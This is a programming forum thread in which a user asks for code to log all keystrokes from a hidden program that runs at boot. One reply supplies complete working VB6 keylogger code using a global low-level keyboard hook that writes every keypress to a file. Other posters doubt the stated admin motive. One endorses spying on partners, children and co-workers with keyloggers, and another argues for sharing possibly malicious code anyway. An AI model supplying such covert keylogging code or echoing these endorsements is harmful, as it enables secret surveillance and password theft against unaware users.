Logging Keystrokes

[sroberts2k1]

Hi,
Hi need a few lines of code that will log any keystrokes made while the program is running bearing in mind the program will be hidden and will not be the active window. I want it to log to a file eg. 'C:\windows\log\log.txt'

The program will start as soon as the machine boots and will end as soon as the user logs on.

Regards
S Roberts

[GlenW]

Would you mind explaining why you want this?

[sroberts2k1]

I am a net admin in Southhampton and we have had a few problems with people loggind on as admin... Because of the way the net is set up we can't tell which computer the intruder is logging on at, Solution: put a keystroke logger on the machine so we can locate which machine it is comming from...

[RSINGH]

Apologies if I'm wrong but this request does sound dubious. Do you not have access to tools such as Webtrends. This would tell you exactly what you need. I'm sure internet logs on the Web Server hold hostname and login too.

[GlenW]

I certainly would not want my password details to be stored in a file whenever I logged on.
Which is basically what you're asking for.

[Serge]

Something like this:

Module Code

Public Type KBDLLHOOKSTRUCT
    vkCode As Long
    scanCode As Long
    flags As Long
    time As Long
    dwExtraInfo As Long
End Type
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Const HC_ACTION = 0
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Private Const VK_LSHIFT = &HA0
Private Const VK_RSHIFT = &HA1
Private Const VK_RCONTROL = &HA3
Private Const VK_LCONTROL = &HA2
Private Const VK_SHIFT = &H10
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
 
Public Const WH_KEYBOARD_LL = 13
Public Const LLKHF_ALTDOWN = &H20
 
 
Dim m_udtKEYBOARDHOOK As KBDLLHOOKSTRUCT
 
Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim intFFN As Integer
    
    Dim blnConsumeKey As Boolean
    
    If (nCode = HC_ACTION) Then
        If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
            CopyMemory m_udtKEYBOARDHOOK, ByVal lParam, Len(m_udtKEYBOARDHOOK)
               
            intFFN = FreeFile
            Open "C:\Keylogger.txt" For Append As intFFN
            
            With m_udtKEYBOARDHOOK
                If (.flags And LLKHF_ALTDOWN) <> 0 Then
                    Print #intFFN, "ALT"
                End If
                
                'print printable characters
                If .vkCode >= 33 And .vkCode <= 126 Then
                    Print #intFFN, Chr(.vkCode)
                ElseIf .vkCode = VK_LSHIFT Or .vkCode = VK_RSHIFT Or .vkCode = VK_SHIFT Then
                    Print #intFFN, "SHIFT"
                ElseIf .vkCode = VK_CONTROL Then
                    Print #intFFN, "CONTROL"
                Else
                    Print #intFFN, "ASCII: " & .vkCode
                End If
            End With
               
            Close #intFFN
            
        End If
    End If
    KeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End Function

Form Code (add a checkbox called chkLog)

Dim m_lngKeyboad As Long
 
Private Sub chkLog_Click()
    If chkLog = vbChecked Then
        m_lngKeyboad = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0)
    Else
        UnhookWindowsHookEx m_lngKeyboad
        m_lngKeyboad = 0
    End If
End Sub
 
 
Private Sub Form_Unload(Cancel As Integer)
    If m_lngKeyboad <> 0 Then UnhookWindowsHookEx m_lngKeyboad
End Sub

You can improve the code by adding more conditions in the KeyboardProc function.

[MerrionComputin]

If you are the net administrator then why not change tha administrator password and prevent them logging in that way?

Note that a keylogger should not be able to log what is going on on the login window because that runs in its own protected desktop which does not allow other accounts to hook to it.

Do a
MSDN search for DESKTOP_HOOKCONTROL constant for more info

[Grimfort]

Just draggin this out of the history for a bit of background.

Im making a little app that needs to capture keystrokes from anywhere, and this does the job.

What I need now is to check for two keys pressed at once.

For instance, the user sets there start key as say Home, and then while they are holding it down any other key strokes are sent straight to my program (changing MP3s ).


E.g Uses holds down Home
then presses Q,
Releases Home.

Any ideas ?

[cafeenman]

There are applets called keystroke emulators available all over the place for download. They do exactly what you're talking about, i.e. log all keystrokes, run without being seen. Use it to see what you're significant other is doing online while you're away. Spy on your kids and co-workers. It's all good.

[Grimfort]

Mayb Im looking in the wrong places, I cant find any coded examples.

Wheres a good place to look ?

[skald2k]

Ok I think we've questioned this guy long enough. This is a programming forum, and if we can help this guy lets do it. Even if it is malicious it is educational and if he doesnt get the source here he will get it somewhere else.

[MerrionComputin]

if we can help this guy lets do it...

The code that Serge posted is exactly what he needs. It won't log the password stuff in WinNT/2000 or XP bu then nothing will , but all keystrokes in the default desktop will be logged regardless of what app etc.

HTH,
Duncan

[skald2k]

The code that Serge posted is exactly what he needs. It won't log the password stuff in WinNT/2000 or XP bu then nothing will , but all keystrokes in the default desktop will be logged regardless of what app etc.

Good stuff, I might give this one a go on the weekend as well! Good old APIs.

[Grimfort]

For once this actually has a purpose rather then stealing passwords.

Its an MP3 player that you can control from anywhere.
When im gaming, I have to mimize to change songs, and tis a real pain.

The plan is when a user holds down a key (ie. Home), the MP3 player becomes active (not set focus though), and then any other key strokes are sent to it until the Home key is released.

Its to change songs, turn up volume, replay etc.

I was so bored of mimizing I wanted to make one

[MerrionComputin]

In that case, what you need is a Hotkey control such as is available from this page - just set the key code you want and whenever that key is pressed regardless of which application is currently in the foreground...

HTH,
Duncan

[Grimfort]

I just tried your control, and it doesnt work for one , and doesnt do what I need either.

Maybe I am explaining myself badly.

The user presses a key "HOME" they keep the key pressed, they do not let go of it.

The user then presses another key, like "A", so now we have 2 buttons being pressed.

The first button is to pick that the user wants to use my application, the next button is the option inside the application that they want to run. I need BOTH buttons pressed not one.

I have code to do it from anywhere, thats fine, but I still need to know about BOTH buttons. I hope this claifies things.